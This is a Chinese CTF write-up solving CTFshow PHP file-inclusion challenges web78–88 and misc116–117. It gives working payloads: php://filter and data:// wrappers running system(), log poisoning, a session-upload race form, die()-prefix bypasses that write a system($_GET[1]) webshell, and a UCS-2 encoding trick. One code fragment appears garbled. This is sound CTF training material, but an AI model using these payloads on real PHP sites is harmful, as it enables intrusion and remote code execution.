CTFshow刷题日记-WEB-文件包含

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-文件包含相关的知识,希望对你有一定的参考价值。

文件包含专题

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

依旧是代码审计类型

直接伪协议

?file=php://filter/convert.base64-encode/resource=flag.php
?file=data://text/plain,<?php system("nl flag.php");?>
使用data协议和php://filter协议的各种格式

web79

加了过滤

    $file = str_replace("php", "???", $file);

payload

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbGFnLnBocCIpOyA/Pg==
base64中不要出现+,因为url编码中这是空格

web80

把data给过滤了

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}+654
    ,N 

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log

ctrl + u查看源码

不行的话多尝试几次

web81

和80题一样

这次用burp做

cat flag

再不同的界面多尝试几次

web82-86

利用session对话进行文件包含利用参考链接

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

利用竞争,在session文件内容清空前进行包含利用

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

第二个方法是通过php的小truck
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,直接构造payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

web83

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="http://a69268f1-514c-469c-b072-c647c5a7c278.challenge.ctf.show:8080?file=/temp/sess_flag" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}

本来就是条件竞争,没有影响

web87

死亡die

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

看完这篇文章大概就懂了

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

$content被加上了<?php die('大佬别秀了');?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie”和我们传入的其他字符

base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符

"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php die('大佬别秀了');?>没有了。

file=php://filter/write=convert.base64-decode/resource=shell.php
对文件名进行url解码后再用file_put_contents写入,通过把p换成%2570%2570%70→p)绕过对php的过滤
file=%2570hp%253A%2F%2Ffilter%2Fwrite%3Dconvert%252Ebase64-decode%2Fresource%3Dshell%252E%2570hp

post:
content=<?php system($_GET[1]);?>
content=aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==    

shell.php写入成功

查看源码,拿到flag

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i", $file)){
        die("error");
    }
    include($file);
}

发现data伪协议没有被过滤,过滤了加号和等号,所以要注意base64字符串不能有

直接用蚁剑连就行

拿到flag

或者

使用

把等号去掉

payload

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

查看源码拿到flag

misc116

提示:misc+lfi

上来是一个视频,下载,再kali中使用formost命令拆分文件,发现png文件就是源码

再浏览器访问?file=flag.php发现啥也点不了

还是用bp

拿到flag

misc117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

死亡die

过滤了base64和rot13,但是可以用其他的编码方式来绕过

PHP支持的编码方式:链接

UCS-2LE UCS-2BE编码

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

直接点吧,用蚁剑链接看flag

参考链接

https://blog.csdn.net/miuzzx/article/details/116205407

https://eastjun.top/2021/04/15/ctfshow文件包含/

以上是关于CTFshow刷题日记-WEB-文件包含的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入SSRF打MySQLSSRF打FastCGISSRF文件读取

CTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-爆破

CTFshow刷题日记-WEB-信息收集

CTFshow刷题日记-WEB-SSTI(web361-372)

CTFshow刷题日记-WEB-XSS(web316-333)